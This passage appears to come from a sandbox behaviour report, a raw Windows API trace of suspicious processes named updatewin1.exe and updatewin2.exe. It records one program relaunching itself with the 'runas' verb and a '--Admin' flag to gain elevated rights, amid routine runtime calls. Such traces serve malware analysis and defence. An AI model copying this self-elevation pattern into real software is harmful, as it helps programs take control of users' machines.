!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¿\x05¯\x86Hõ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.379] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x80) returned 0x50a0d0 [0053.379] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe")) returned 0x5f [0053.379] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xc8) returned 0x50c160 [0053.379] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0053.379] GetLastError () returned 0x0 [0053.380] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0053.380] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0053.387] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0053.388] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" " [0053.388] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" ", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x50d2b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" [0053.388] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc0) returned 0x50d388 [0053.388] lstrcpyW (in: lpString1=0x18e5a0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" [0053.388] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d") returned 1 [0053.388] lstrcpyW (in: lpString1=0x18eda0, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0053.388] ShellExecuteExW (in: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0055.420] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x50d388 | out: hHeap=0x4e0000) returned 1 [0055.421] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0055.421] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0055.421] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x50a0d0 | out: hHeap=0x4e0000) returned 1 [0055.421] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x50cab0 | out: hHeap=0x4e0000) returned 1 [0055.421] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.421] GetLastError () returned 0x57 [0055.421] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f56c | out: phModule=0x18f56c) returned 0 [0055.421] ExitProcess (uExitCode=0x0) [0055.422] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x50a9e8 | out: hHeap=0x4e0000) returned 1 [0055.423] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 52 os_tid = 0xae4 Thread: id = 55 os_tid = 0xaf8 Thread: id = 56 os_tid = 0xafc Thread: id = 58 os_tid = 0xb04 Process: id = "7" image_name = "updatewin2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe" page_root = "0x69f6f000" os_pid = "0xad4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xa68" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0xad8 [0053.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x8d9764c0, dwHighDateTime=0x1d56c59)) [0053.095] GetCurrentProcessId () returned 0xad4 [0053.095] GetCurrentThreadId () returned 0xad8 [0053.095] GetTickCount () returned 0x114698d [0053.095] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17336343166) returned 1 [0053.111] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0053.111] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x3f0000 [0053.113] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.113] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.113] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.113] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.113] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0053.113] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.113] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.113] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.113] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.113] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.114] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.114] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.114] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.114] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.114] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.114] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.114] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.114] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.114] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.115] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.115] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.115] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x214) returned 0x3f07d0 [0053.115] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.115] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.115] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.115] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.115] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.115] GetCurrentThreadId () returned 0xad8 [0053.115] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0053.116] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x800) returned 0x3f09f0 [0053.116] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.116] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.116] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.116] SetHandleCount (uNumber=0x20) returned 0x20 [0053.116] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe\" " [0053.116] GetEnvironmentStringsW () returned 0x534e70* [0053.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0053.116] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x565) returned 0x3f11f8 [0053.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x3f11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0053.116] FreeEnvironmentStringsW (penv=0x534e70) returned 1 [0053.116] GetLastError () returned 0x0 [0053.116] SetLastError (dwErrCode=0x0) [0053.116] GetLastError () returned 0x0 [0053.116] SetLastError (dwErrCode=0x0) [0053.116] GetLastError () returned 0x0 [0053.116] SetLastError (dwErrCode=0x0) [0053.116] GetACP () returned 0x4e4 [0053.116] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x220) returned 0x3f1768 [0053.116] GetLastError () returned 0x0 [0053.117] SetLastError (dwErrCode=0x0) [0053.117] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.117] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0053.117] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0053.117] GetLastError () returned 0x0 [0053.117] SetLastError (dwErrCode=0x0) [0053.117] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0053.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.117] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0053.117] GetLastError () returned 0x0 [0053.117] SetLastError (dwErrCode=0x0) [0053.117] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0053.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䗕蓻㞅AĀ") returned 256 [0053.117] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䗕蓻㞅AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0053.117] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䗕蓻㞅AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\n\x05\x1d\x84\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.117] GetLastError () returned 0x0 [0053.117] SetLastError (dwErrCode=0x0) [0053.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䗕蓻㞅AĀ") returned 256 [0053.117] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䗕蓻㞅AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0053.117] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䗕蓻㞅AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 